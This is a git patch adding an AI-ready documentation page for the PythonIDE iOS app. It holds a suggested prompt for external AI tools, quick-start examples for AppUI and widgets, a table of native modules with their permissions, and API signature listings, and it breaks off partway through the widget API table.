From 2e7267149a2b691b2df13b77b6f96df75e018436 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Sat, 23 May 2026 00:27:43 +0800 Subject: [PATCH 01/33] Add AI-ready PythonIDE docs page --- docs/CNAME | 2 +- docs/docs/index.html | 456 ++ docs/index.html | 104 +- docs/llms-full.txt | 809 ++++ docs/llms.txt | 28 + docs/schemas/appui_api_schema.json | 3000 ++++++++++++++ docs/schemas/native_capabilities_schema.json | 655 +++ docs/schemas/widget_api_schema.json | 3920 ++++++++++++++++++ docs/stubs/appui.pyi | 2075 +++++++++ docs/stubs/scene.pyi | 940 +++++ docs/stubs/ui.pyi | 1260 ++++++ docs/stubs/widget.pyi | 954 +++++ 12 files changed, 14136 insertions(+), 67 deletions(-) create mode 100644 docs/docs/index.html create mode 100644 docs/llms-full.txt create mode 100644 docs/llms.txt create mode 100644 docs/schemas/appui_api_schema.json create mode 100644 docs/schemas/native_capabilities_schema.json create mode 100644 docs/schemas/widget_api_schema.json create mode 100644 docs/stubs/appui.pyi create mode 100644 docs/stubs/scene.pyi create mode 100644 docs/stubs/ui.pyi create mode 100644 docs/stubs/widget.pyi diff --git a/docs/CNAME b/docs/CNAME index 5f9162c..0fe9210 100644 --- a/docs/CNAME +++ b/docs/CNAME @@ -1 +1 @@ -pythonide.xin \ No newline at end of file +pythonide.xin diff --git a/docs/docs/index.html b/docs/docs/index.html new file mode 100644 index 0000000..2734ef0 --- /dev/null +++ b/docs/docs/index.html @@ -0,0 +1,456 @@ + + + + + + PythonIDE Docs - Mini App, Widget, Native, scene, ui + + + + + +
+ +
+
+ +
+
+

One link for users and AI

+

Build PythonIDE Mini Apps and Widgets with documented APIs.

+

This page is generated from the same AppUI, Widget, Native, scene, and ui facts used by the app docs. Send this URL to ChatGPT, Claude, Gemini, or another AI and ask it to generate PythonIDE code.

+
+ + + llms.txt + llms-full.txt +
+
+
118AppUI exports
+
91Widget APIs
+
33Native modules
+
145ui exports
+
83scene exports
+
+
+ +
+

Send This To AI

+

Copy this prompt when users want an external AI to generate a Mini App, widget, scene script, or ui script.

+
请阅读 PythonIDE 文档并生成可直接运行的代码:https://pythonide.xin/docs/ + +目标: +- 如果我要 Mini App,请使用 appui。 +- 如果我要 iOS 桌面小组件,请使用 widget。 +- 如果我要 2D 场景或小游戏,请使用 scene。 +- 如果我要 Pythonista 兼容界面,请使用 ui。 +- iOS 原生能力只能使用文档和 schema 列出的模块。 + +硬性要求: +- 不要编造 API 或参数。 +- 不要使用 tkinter、PyQt、Flask、Streamlit 或网页服务器框架。 +- 输出一个可直接在 PythonIDE 中运行的 Python 文件。
+
+ +
+

Quick Starts

+
+
+

Mini App

+

Use appui for interactive native UI.

+
+
+

Widget

+

Use widget for iOS Home Screen widgets.

+
+
+

Native

+

Use only modules listed in the native schema.

+
+
+

Mini App / AppUI

+
import appui
+
+state = appui.State(count=0)
+
+def increase():
+    state.batch_update(count=state.count + 1)
+
+def body(view_state):
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text("Mini App").font("title2").bold(),
+            appui.Text(f"Count: {view_state.count}").font("title3"),
+            appui.Button("Increase", action=increase).button_style("bordered_prominent"),
+        ], spacing=16).padding()
+    ).navigation_title("Counter")
+
+appui.run(body, state=state)
+

Widget

+
import widget
+
+w = widget.Widget(background="#101820", padding=16)
+w.text("PythonIDE", size=18, weight="bold", color="#ffffff")
+w.spacer(6)
+w.metric("Scripts", "24", unit="ready", tone="accent")
+w.progress(0.72, color="#34d399")
+w.render()
+
+ +
+

iOS Native Capabilities

+

Native modules are permission-aware. AI should check permissions and failure states before generating code that touches user data or device sensors.

+
ModuleCategoryPermissionsCapabilitiesUser action
avplayermediaVisionNoneaudio_video_load, playback_control, native_playerYes
backgroundnetworkDataNonebackground_task, remaining_time, app_stateYes
biometricdeviceSensorsbiometricface_id, touch_id, passcode_fallbackYes
bluetoothnetworkDatabluetoothble_scan, ble_connect, read, writeYes
c_extensionsnetworkDataNonebundled_extension_inventory, ios_compatibility_guidanceNo
calendar_eventssystemServicescalendar, reminderscalendar_read, calendar_write, remindersYes
clipboardsystemServicesNoneread_clipboard, write_clipboard, clear_clipboardYes
consolesystemServicesNonehud, alerts, input_dialogsYes
contactssystemServicescontactscontacts_read, contacts_picker, contacts_editYes
coremlmediaVisionNonemodel_listing, model_loading, image_predictionNo
databasesystemServicesNonesqlite, collections, transactionsNo
devicedeviceSensorsNonedevice_state, screen, battery, thermal_stateNo
dialogssystemServicesNonenative_dialogs, forms, pickersYes
hapticsdeviceSensorsNoneimpact_feedback, notification_feedback, core_hapticsYes
healthdeviceSensorshealthsteps, heart_rate, sleep, body_metricsYes
keyboardautomationExtensionsNonetoolbar_buttons, insert_text, set_buttonsYes
keychainsystemServicesNonesecure_password_storage, service_listingNo
live_activitysystemServicesNonedynamic_island, lock_screen_activityYes
locationdeviceSensorslocationgps, heading, geocodingYes
motiondeviceSensorsmotionaccelerometer, gyroscope, attitude, barometerYes
networknetworkDataNonehttp, download, connectivityNo
nfcsystemServicesnfcndef_scan, ndef_writeYes
notificationsystemServicesnotificationslocal_notifications, badges, scheduled_alertsYes
objc_utilautomationExtensionsNoneobjective_c_runtime, framework_bridgeNo
permissionsystemServicesbiometric, bluetooth, calendar, camera, contacts, health, location, microphone, motion, nfc, notifications, photos, reminders, speechpermission_status, permission_requestYes
photosmediaVisionphotos, cameraphoto_picker, camera_capture, photo_save, asset_readYes
shortcutsautomationExtensionsNonerun_shortcut, open_url, open_settingsYes
soundmediaVisionNonesound_effects, audio_playerYes
speechmediaVisionspeechtext_to_speech, voice_listingYes
storagesystemServicesNoneuser_defaults, json_valuesNo
visionmediaVisionNoneocrNo
vision_helpermediaVisionNoneface_detection, barcode_detection, rectangle_detection, classificationNo
websocketnetworkDataNonewebsocket_connect, send, receive, closeNo
+
+ Native module public API names +
+

avplayer

avplayer.Playeravplayer.loadavplayer.playavplayer.pauseavplayer.stopavplayer.seekavplayer.durationavplayer.current_timeavplayer.is_playingavplayer.set_volumeavplayer.set_rateavplayer.present_videoavplayer.on_progressavplayer.stop_progressavplayer.on_endavplayer.cleanup

background

background.begin_taskbackground.end_taskbackground.remaining_timebackground.app_statebackground.start_keep_alivebackground.stop_keep_alivebackground.schedule_refreshbackground.schedule_processing

biometric

biometric.biometric_typebiometric.is_availablebiometric.authenticatebiometric.authenticate_with_passcode

bluetooth

bluetooth.statebluetooth.scanbluetooth.stop_scanbluetooth.connectbluetooth.disconnectbluetooth.discover_servicesbluetooth.readbluetooth.write

c_extensions

calendar_events

calendar_events.authorization_statuscalendar_events.request_accesscalendar_events.get_calendarscalendar_events.get_eventscalendar_events.create_eventcalendar_events.delete_eventcalendar_events.request_reminder_accesscalendar_events.get_reminderscalendar_events.create_remindercalendar_events.complete_remindercalendar_events.delete_reminder

clipboard

clipboard.getclipboard.setclipboard.clearclipboard.get_textclipboard.set_text

console

console.alertconsole.hud_alertconsole.input_alertconsole.login_alertconsole.password_alertconsole.set_colorconsole.set_fontconsole.clearconsole.write_link

contacts

contacts.PERSONcontacts.ORGANIZATIONcontacts.ContactsErrorcontacts.Personcontacts.Groupcontacts.Containercontacts.PropertySelectioncontacts.authorization_statuscontacts.capabilitiescontacts.is_authorizedcontacts.request_accesscontacts.get_all_peoplecontacts.get_personcontacts.get_mecontacts.findcontacts.find_by_phonecontacts.find_by_emailcontacts.add_personcontacts.remove_personcontacts.savecontacts.revertcontacts.get_all_groupscontacts.get_groupcontacts.add_groupcontacts.remove_groupcontacts.get_all_containerscontacts.get_default_containercontacts.get_people_in_groupcontacts.get_people_in_containercontacts.get_groups_in_containercontacts.pick_contactcontacts.pick_contactscontacts.pick_propertycontacts.show_personcontacts.edit_personcontacts.new_personcontacts.export_vcardscontacts.import_vcardscontacts.get_change_historycontacts.manage_limited_accesscontacts.localized_label

coreml

coreml.list_modelscoreml.load_modelcoreml.predict_imagecoreml.model_info

database

database.Databasedatabase.Collectiondatabase.opendatabase.connectdatabase.default_databasedatabase.collectiondatabase.database_path

device

device.namedevice.modeldevice.system_namedevice.system_versiondevice.identifier_for_vendordevice.battery_leveldevice.battery_statedevice.orientationdevice.screen_widthdevice.screen_heightdevice.screen_sizedevice.screen_scaledevice.screen_brightnessdevice.set_screen_brightnessdevice.total_memorydevice.processor_countdevice.system_uptimedevice.thermal_statedevice.is_low_power_modedevice.localedevice.timezonedevice.preferred_languages

dialogs

dialogs.alertdialogs.input_alertdialogs.list_dialogdialogs.form_dialogdialogs.date_dialogdialogs.hud_alertdialogs.editor

haptics

haptics.impacthaptics.notificationhaptics.selectionhaptics.successhaptics.warninghaptics.errorhaptics.lighthaptics.mediumhaptics.heavyhaptics.is_supportedhaptics.playhaptics.stop

health

health.is_availablehealth.request_authorizationhealth.authorization_statushealth.query_stepshealth.query_heart_ratehealth.query_weighthealth.save_weighthealth.query_workoutshealth.query_sleephealth.query_quantityhealth.query_blood_pressurehealth.summarize_blood_pressure

keyboard

keyboard.add_buttonkeyboard.add_groupkeyboard.remove_buttonkeyboard.clearkeyboard.insert_textkeyboard.insert_snippetkeyboard.move_cursorkeyboard.Buttonkeyboard.set_buttons

keychain

keychain.get_passwordkeychain.set_passwordkeychain.delete_passwordkeychain.get_services

live_activity

live_activity.startlive_activity.updatelive_activity.endlive_activity.is_supported

location

location.authorization_statuslocation.is_authorizedlocation.request_accesslocation.start_updateslocation.stop_updateslocation.get_locationlocation.start_headinglocation.stop_headinglocation.get_headinglocation.reverse_geocodelocation.geocode

motion

motion.is_availablemotion.start_updatesmotion.stop_updatesmotion.start_accelerometermotion.stop_accelerometermotion.start_gyroscopemotion.stop_gyroscopemotion.start_magnetometermotion.stop_magnetometermotion.start_altimetermotion.stop_altimetermotion.get_accelerationmotion.get_gravitymotion.get_rotation_ratemotion.get_magnetic_fieldmotion.get_attitudemotion.get_altitude

network

network.is_connectednetwork.connection_typenetwork.is_expensivenetwork.is_constrainednetwork.requestnetwork.getnetwork.postnetwork.putnetwork.deletenetwork.patchnetwork.downloadnetwork.Response

nfc

nfc.is_availablenfc.scannfc.write

notification

notification.request_permissionnotification.authorization_statusnotification.schedulenotification.schedule_at_datenotification.remove_pendingnotification.remove_all_pendingnotification.pending_countnotification.pending_identifiersnotification.set_badge

objc_util

objc_util.cobjc_util.LP64objc_util.CGFloatobjc_util.NSIntegerobjc_util.NSUIntegerobjc_util.NSNotFoundobjc_util.NSUTF8StringEncodingobjc_util.NS_UTF8objc_util.CGPointobjc_util.CGSizeobjc_util.CGVectorobjc_util.CGRectobjc_util.CGAffineTransformobjc_util.UIEdgeInsetsobjc_util.NSRangeobjc_util.selobjc_util.ObjCClassobjc_util.ObjCInstanceobjc_util.ObjCClassMethodobjc_util.ObjCInstanceMethodobjc_util.NSObjectobjc_util.NSArrayobjc_util.NSMutableArrayobjc_util.NSDictionaryobjc_util.NSMutableDictionaryobjc_util.NSSetobjc_util.NSMutableSetobjc_util.NSStringobjc_util.NSMutableStringobjc_util.NSDataobjc_util.NSMutableDataobjc_util.NSNumberobjc_util.NSURLobjc_util.NSEnumeratorobjc_util.NSThreadobjc_util.NSBundleobjc_util.UIColorobjc_util.UIImageobjc_util.UIBezierPathobjc_util.UIApplicationobjc_util.UIViewobjc_util.ObjCBlockobjc_util.nsobjc_util.nsurlobjc_util.retain_globalobjc_util.release_globalobjc_util.on_main_threadobjc_util.create_objc_classobjc_util.Structureobjc_util.sizeofobjc_util.byrefobjc_util.c_void_pobjc_util.c_charobjc_util.c_byteobjc_util.c_char_pobjc_util.c_doubleobjc_util.c_floatobjc_util.c_intobjc_util.c_longlongobjc_util.c_shortobjc_util.c_boolobjc_util.c_longobjc_util.c_int32objc_util.c_ubyteobjc_util.c_uintobjc_util.c_ushortobjc_util.c_ulongobjc_util.c_ulonglongobjc_util.POINTERobjc_util.pointerobjc_util.load_frameworkobjc_util.nsdata_to_bytesobjc_util.uiimage_to_pngobjc_util.autoreleasepool

permission

permission.statuspermission.requestpermission.status_allpermission.MODULES

photos

photos.pick_imagephotos.capture_imagephotos.save_imagephotos.get_assetsphotos.pick_assetphotos.get_imagephotos.Assetphotos.AssetCollectionphotos.get_albumsphotos.get_smart_albumsphotos.get_momentsphotos.create_albumphotos.get_screenshots_albumphotos.get_recently_added_albumphotos.get_selfies_albumphotos.pick_image_base64photos.capture_image_base64photos.image_to_base64photos.base64_to_imagephotos.get_favoritesphotos.get_countphotos.get_recent_imagesphotos.get_image_sizephotos.get_metadataphotos.is_available

shortcuts

shortcuts.run_shortcutshortcuts.open_urlshortcuts.open_settings

sound

sound.play_effectsound.stop_effectsound.stop_all_effectssound.Playersound.MIDIPlayersound.set_volumesound.set_honors_silent_switchsound.get_volume

speech

speech.sayspeech.stopspeech.pausespeech.resumespeech.is_speakingspeech.available_voices

storage

storage.getstorage.setstorage.get_intstorage.set_intstorage.get_floatstorage.set_floatstorage.get_boolstorage.set_boolstorage.get_jsonstorage.set_jsonstorage.removestorage.has_keystorage.all_keys

vision

vision.setup_vision_frameworkvision.is_vision_availablevision.recognize_text_from_image_data

vision_helper

vision_helper.setup_vision_frameworkvision_helper.is_vision_availablevision_helper.detect_facesvision_helper.detect_face_landmarksvision_helper.detect_barcodesvision_helper.classify_imagevision_helper.detect_rectanglesvision_helper.async_requestvision_helper.poll_result

websocket

websocket.connectwebsocket.WebSocket
+
+
+
+ +
+

Complete Public API Surface

+

Search the generated API surface. Internal and agent-hidden names are excluded from new AI output; widget compatibility names are listed separately.

+ + +
+ AppUI functions, views, helpers, and modifiers +
+

Functions and views

+
APIKindSignature
adaptivefunctionadaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]
animatefunctionanimate(action: Callable[[], None], type: str = 'default') -> None
auto_refreshfunctionauto_refresh(interval: float = 1.0) -> None
bindfunctionbind(state: Union[State, ReactiveState], field_name: str) -> Dict[str, Any]
call_nativefunctioncall_native(function_name: str, **kwargs: Any) -> None
computedfunctioncomputed(state: Union[State, ReactiveState], depends_on: List[str]) -> Callable
custom_fontfunctioncustom_font(name: str, size: float = 17) -> str
dismissfunctiondismiss() -> None
dynamicfunctiondynamic(func: Callable[[], Any], value_type: str = 'auto') -> Any
effectfunctioneffect(state: Union[State, ReactiveState], depends_on: List[str]) -> Callable
fixedfunctionfixed(size: float) -> Dict[str, Any]
flexiblefunctionflexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]
get_native_libfunctionget_native_lib() -> Optional[ctypes.CDLL]
grid_itemfunctiongrid_item(type: str = 'flexible', minimum: Optional[float] = None, maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]
preloadfunctionpreload() -> None
runfunctionrun(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, state: Optional[Union[State, ReactiveState]] = None, hot_reload: bool = False, presentation: str = 'sheet', body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None
set_custom_propfunctionset_custom_prop(view_or_handle: Any, prop_name: str, value: Any) -> None
AlertpresentationAlert(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None)
AsyncImagemediaAsyncImage(url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None)
AttributedTexttextAttributedText(spans: Optional[List[Dict[str, Any]]] = None)
BadgepresentationBadge(count: Optional[int] = None, text: Optional[str] = None)
ButtoncontrolButton(title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None)
CameraPickermediaCameraPicker(source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any)
CanvasdrawingCanvas(width: float = 300, height: float = 300, commands: Optional[List[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None)
CapsuleshapeCapsule()
ChartmediaChart(data: Optional[List[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None)
CircleshapeCircle()
CloseButtoncontrolCloseButton(title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None)
ColorshapeColor(value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0)
ColorPickercontrolColorPicker(label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
ConfirmationDialogpresentationConfirmationDialog(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None)
ContentUnavailableViewpresentationContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)
ControlGroupcontrolControlGroup(label: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None)
DatePickercontrolDatePicker(label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
DisclosureGroupcollectionDisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)
DividerlayoutDivider()
EditButtoncontrolEditButton()
EllipseshapeEllipse()
FileImportermediaFileImporter(allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any)
ForEachcollectionForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)
FormcollectionForm(content: Optional[List[View]] = None)
GaugefeedbackGauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)
GeometryReaderlayoutGeometryReader(content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None)
GridlayoutGrid(content: Optional[List[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None)
GridRowlayoutGridRow(content: Optional[List[View]] = None, alignment: Optional[str] = None)
GrouplayoutGroup(content: Optional[List[View]] = None)
GroupBoxcollectionGroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[List[View]] = None)
HStacklayoutHStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)
ImagemediaImage(name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None)
InlinePickerStylecontrolInlinePickerStyle(options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
LabeltextLabel(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)
LabeledContentcollectionLabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)
LazyHGridlayoutLazyHGrid(rows: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None)
LazyHStacklayoutLazyHStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)
LazyVGridlayoutLazyVGrid(columns: Optional[List[dict]] = None, content: Optional[List[View]] = None, spacing: Optional[float] = None, children: Optional[List[View]] = None)
LazyVStacklayoutLazyVStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)
LinkcontrolLink(title: str = '', url: str = '')
ListcollectionList(content: Optional[List[View]] = None)
MapViewmediaMapView(latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[List[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None)
MenucontrolMenu(title: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None)
MultiDatePickercontrolMultiDatePicker(title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
NavigationLinknavigationNavigationLink(title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None)
NavigationSplitViewnavigationNavigationSplitView(sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all')
NavigationStacknavigationNavigationStack(content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None)
OverlaylayoutOverlay(content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center')
PasteButtoncontrolPasteButton(on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None)
PathdrawingPath(commands: Optional[List[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None)
PhotoPickermediaPhotoPicker(selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any)
PickercontrolPicker(label: str = '', selection: Optional[str] = None, options: Optional[List[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
PopoverpresentationPopover(is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None)
ProgressViewfeedbackProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)
RectangleshapeRectangle()
RefreshablecollectionRefreshable(on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None)
RenameButtoncontrolRenameButton(action: Optional[Callable] = None)
RoundedRectangleshapeRoundedRectangle(corner_radius: float = 10, cornerRadius: Optional[float] = None)
SafeAreaInsetlayoutSafeAreaInset(edge: str = 'bottom', content: Optional[View] = None)
ScrollViewlayoutScrollView(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None)
ScrollViewReaderlayoutScrollViewReader(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None)
SearchFieldcontrolSearchField(text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)
SectioncollectionSection(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None)
SecureFieldcontrolSecureField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None)
SegmentedControlcontrolSegmentedControl(options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
ShareLinkcontrolShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)
SignInWithAppleButtoncontrolSignInWithAppleButton(type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None)
SlidercontrolSlider(value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None)
SpacerlayoutSpacer(min_length: Optional[float] = None, minLength: Optional[float] = None)
SteppercontrolStepper(label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
SwipeActionscollectionSwipeActions(content: Optional[View] = None, leading: Optional[List[View]] = None, trailing: Optional[List[View]] = None)
TabnavigationTab(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None)
TabViewnavigationTabView(tabs: Optional[List["Tab"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
TablecollectionTable(data: Optional[List[Dict[str, Any]]] = None, columns: Optional[List[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None)
TexttextText(content: str = '')
TextEditorcontrolTextEditor(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
TextFieldcontrolTextField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any)
TextFieldLinkcontrolTextFieldLink(title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)
TimelineViewfeedbackTimelineView(interval: float = 1.0, content: Optional[View] = None)
TogglecontrolToggle(label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None)
ToolbarItempresentationToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)
ToolbarSpacerpresentationToolbarSpacer(sizing: str = 'fixed', placement: str = 'automatic')
VStacklayoutVStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)
VideoPlayermediaVideoPlayer(url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None)
ViewThatFitslayoutViewThatFits(content: Optional[List[View]] = None)
WebViewmediaWebView(url: Optional[str] = None, html: Optional[str] = None)
WheelPickercontrolWheelPicker(options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)
ZStacklayoutZStack(content: Optional[List[View]] = None, alignment: str = 'center')
+

Typed helpers/classes exported by appui.pyi

+
DrawingContextNavigationPathObservableDictObservableListPersistentStatePlayerControllerPropReactiveStateRefStateTimerViewinfinity
+

View modifiers

+
.accessibility_hidden.accessibility_label.alert.alignment_guide.animation.aspect_ratio.background.background_extension_effect.badge.blur.bold.border.brightness.button_style.clip_shape.clipped.confirmation_dialog.container_relative_frame.content_margins.content_shape.content_transition.context_menu.contrast.corner_radius.date_picker_style.default_scroll_anchor.disabled.drawing_group.environment.fill.fixed_size.focused.font.foreground_color.foreground_style.frame.full_screen_cover.gauge_style.glass_effect.glass_effect_id.glass_effect_transition.glass_effect_union.grayscale.hidden.high_priority_gesture.id.ignores_safe_area.image_scale.inspector.italic.keyboard_dismiss.layout_priority.line_limit.list_row_background.list_row_insets.list_row_separator.list_style.mask.matched_geometry_effect.minimum_scale_factor.multiline_text_alignment.navigation_bar_back_button_hidden.navigation_bar_title_display_mode.navigation_destination.navigation_title.offset.on_appear.on_disappear.on_drag_gesture.on_drop.on_geometry.on_long_press_gesture.on_magnification_gesture.on_rotation_gesture.on_submit.on_tap_gesture.opacity.overlay.padding.phase_animator.picker_style.popover.position.progress_view_style.refreshable.resizable.rotation_3d_effect.rotation_effect.safe_area_bar.safe_area_inset.saturation.scale_effect.scroll_clip_disabled.scroll_content_background.scroll_edge_effect_hidden.scroll_edge_effect_style.scroll_position.scroll_target_behavior.scroll_target_layout.scroll_transition.search_toolbar_behavior.searchable.sensory_feedback.shadow.sheet.simultaneous_gesture.strikethrough.stroke.submit_label.swipe_actions.symbol_effect.symbol_rendering_mode.tab_bar_minimize_behavior.tab_view_bottom_accessory.tab_view_search_activation.tab_view_style.task.text_field_style.tint.toggle_style.toolbar.toolbar_background.toolbar_color_scheme.transition.truncation_mode.underline.z_index
+
+
+ +
+ Widget functions, Widget methods, nodes, modifiers +
+
APIKindSignature
widget.agent_schemahelperagent_schema()
widget.cache_jsonhelpercache_json(url, *, ttl=3600, default=None, params=None, headers=None, key=None, timeout=8)
widget.family_valuehelperfamily_value(default=None, **values)
widget.historyhelperhistory(key, value=None, limit=7, *, bucket="day", default=None)
widget.save_imagehelpersave_image(source, name)
widget.validate_layouthelpervalidate_layout(layout, family=None)
Widget.backgroundlayout.backgroundbackground(value)
Widget.background_imagelayout.backgroundImagebackground_image(asset, content_mode="fill", dim=None, scrim=None, scrim_opacity=None, focal="center", overlay_color="#000000")
Widget.badgetextbadge(text, icon=None, tone="accent", style="plain")
Widget.barbarChartbar(data, labels=None, colors=None)
Widget.bodytextbody(content)
Widget.buttonbuttonbutton(title, action=None, url=None, color=None, background=None, size=None, padding=None)
Widget.canvascanvascanvas(height=None, coordinate_space="relative", align="center", background=None, padding=None, corner_radius=None, border_color=None, border_width=None, opacity=None, frame=None)
Widget.captiontextcaption(content)
